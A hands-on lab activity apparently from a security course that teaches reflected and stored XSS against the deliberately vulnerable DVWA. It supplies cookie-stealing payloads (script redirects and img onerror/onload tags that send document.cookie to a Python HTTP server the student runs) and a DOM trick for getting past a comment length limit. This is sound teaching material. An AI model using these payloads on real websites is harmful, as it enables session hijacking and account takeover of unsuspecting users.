Activity: XSS

A hands-on activity exploring XSS with DVWA


For this activity, run virt-manager and start your Metasploitable VM. Browse to from a browser with Kali and log with username admin and password password.

Important: On the menu on the left, select “DVWA Security” and change the security level to “low”.

Select SQL Injection, and click “View Help” and “View Source” to understand what SQL query is being used.

Objective: Run your own JavaScript in another user’s browser, use this to steal the cookie of a logged in user.

XSS – Reflected

In DVWA, select XSS reflected.

Be annoying

Enter the following tag in the name field

<h1>Hello world!</h1>

This shows that the field is rendering HTML. Therefore, we could try using the script tag.

<script>alert("You have been hacked!")</script>

View the source code to see that the fully formed <script> tags are there.

This is annoying, but could we do something dangerous, like steal the authentication cookie so we could log in as the user?

Enter the following into the name field


Now we see the cookie. We could send a social engineering attack to the user to have them click on a link, like this (URL copied from result):

This would alert the victim’s cookie in the victim’s browser, but the cookie would only displayed on the victim’s computer. We can change that by running our own webserver and referencing our server in our URL. Run the following in a shell on kali to start a web server on Kali on port 8888:

python3 -m http.server 8888

And craft a new attack by entering the following into the name field:

<script>window.location=''+ document.cookie</script>

This sent the cookie to us, the attacker. You could copy the new URL from the browser and send it to a victim, to get their cookie.

This approach works, but it could be confusing or alarming to the victim because the page is redirected because of the window.location script instruction. To avoid this redirection, we could use different method of using an img instead.

Use HTML img onerror attribute

The following site shows a list of other tags and events we could use besides the script tag.

We could load a non-existent image and run our code within its onerror event:

<img src=x onerror=this.src=''+document.cookie>

Submit the above into the name field of the XSS Reflected page in order to get a new URL. Then, verify that this cookie is obtained in the Python HTTP server log. This works, but a drawback is that it constantly refreshes the page.

Alternatively, this page will load an actual icon (but with 0-size width and height to be invisible to the user) so that page will not refresh (all one line):

<img src= width=0 height=0 onload=this.src=''+document.cookie>

XSS – stored

Visit the XSS Stored page of DVWA. Enter the following line into the comment field:

<script>alert("You have been hacked!")</script>

Now navigate to a different page and come back to the XSS Stored page. See that the message is repeated every time the page is loaded. Any visitor who visits the page will receive our XSS attack.

Now try our cookie-stealing attack from before. Enter the following into the “comment” field:

<img src= width=0 height=0 onload=this.src=''+document.cookie>

Except, there is a problem – the comment field has truncated the input:

However, this restriction is imposed by the web browser, and therefore, we can bypass it. Right-click the comment field and select “Inspect element”:

This will highlight the comment field in the Document Object Model (DOM) held by the browser for this page. Double-click the maxlength attribute on the highlighted textarea element. Delete the value between the double-quotes.

Press enter to commit the change. Then, attempt again to paste in our cookie-stealing attack. It should now be possible to post the entire attack to the “comment” box:

Enter a “name” for your malicious post, and submit the comment. The page should reload, and your attack should now work for anyone who visits the page. Confirm this by checking whether your python http server received the cookie for the page refresh.

Learn more

To learn more, experiment with this extensive list of XSS filter evasion techniques from OWASP: